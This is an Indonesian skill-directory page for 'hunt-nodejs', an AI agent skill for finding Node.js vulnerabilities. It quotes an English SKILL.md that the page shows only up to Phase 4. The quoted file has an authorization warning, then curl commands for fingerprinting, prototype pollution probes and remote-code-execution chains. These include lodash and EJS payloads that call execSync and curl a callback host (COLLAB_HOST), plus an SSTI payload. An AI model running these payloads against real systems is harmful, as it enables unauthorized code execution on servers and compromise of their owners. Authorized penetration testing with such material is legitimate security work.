Langsung ke konten
Skillpedia
API & server (backend)48k Β· #4889

hunt-nodejs

Fungsinya

Tool ini membantu menemukan celah keamanan tertentu pada aplikasi yang menggunakan Node.js. Tool ini memeriksa kerentanan yang sudah dikenal dan bisa dimanfaatkan oleh penyerang.

Kapan dipakai

  • βœ“Saat menguji keamanan website atau aplikasi Node.js.
  • βœ“Untuk memeriksa apakah sebuah aplikasi terlindungi dari serangan yang sudah dikenal.
  • βœ“Dalam latihan keamanan resmi untuk mencari kelemahan.

Link skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-nodejs/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œPeriksa celah keamanan di https://example.com”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Tool ini mengirimkan permintaan tertentu ke target lalu menganalisis respons yang diterima. Tool ini mencari pola yang menandakan adanya kerentanan Node.js yang sudah dikenal.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NODEJS β€” Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

  • Prototype Pollution β†’ RCE β€” __proto__ injection via lodash.merge / Object.assign β†’ polluted prototype reaches child_process.exec or vm.runInNewContext sink
  • Express trust proxy β€” app.set('trust proxy', true) without validation β†’ attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
  • EJS/Pug SSTI β€” template engine receives user input β†’ {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process injection β€” user input interpolated into shell command string β†’ OS command injection
  • require() path traversal β€” attacker-controlled module path β†’ load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 β€” Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 β€” Prototype Pollution Detection

# JSON body injection β€” test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 β€” Prototype Pollution β†’ RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation β€” check Interactsh for callback

Phase 4 β€” Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted

…
Pertanyaan umum

Apa itu 'Prototype Pollution'?

Itu adalah jenis serangan ketika penyerang dapat mengubah properti internal dari objek JavaScript, yang bisa menyebabkan celah keamanan serius.

Apa arti 'RCE'?

RCE adalah singkatan dari 'Remote Code Execution'. Ini adalah kerentanan berat yang memungkinkan penyerang menjalankan perintah di server.

Apakah saya perlu izin untuk menggunakan tool ini?

Ya, Anda memerlukan izin tertulis yang jelas dari pemilik sistem sebelum menggunakan tool ini. Penggunaan tanpa izin adalah tindakan ilegal.

Detail

Deskripsi asli dari pembuat

Hunt Node.js specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularitas

Bintang GitHub
48k
Peringkat
#4889
Lisensi
MIT
Diperbarui
15/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa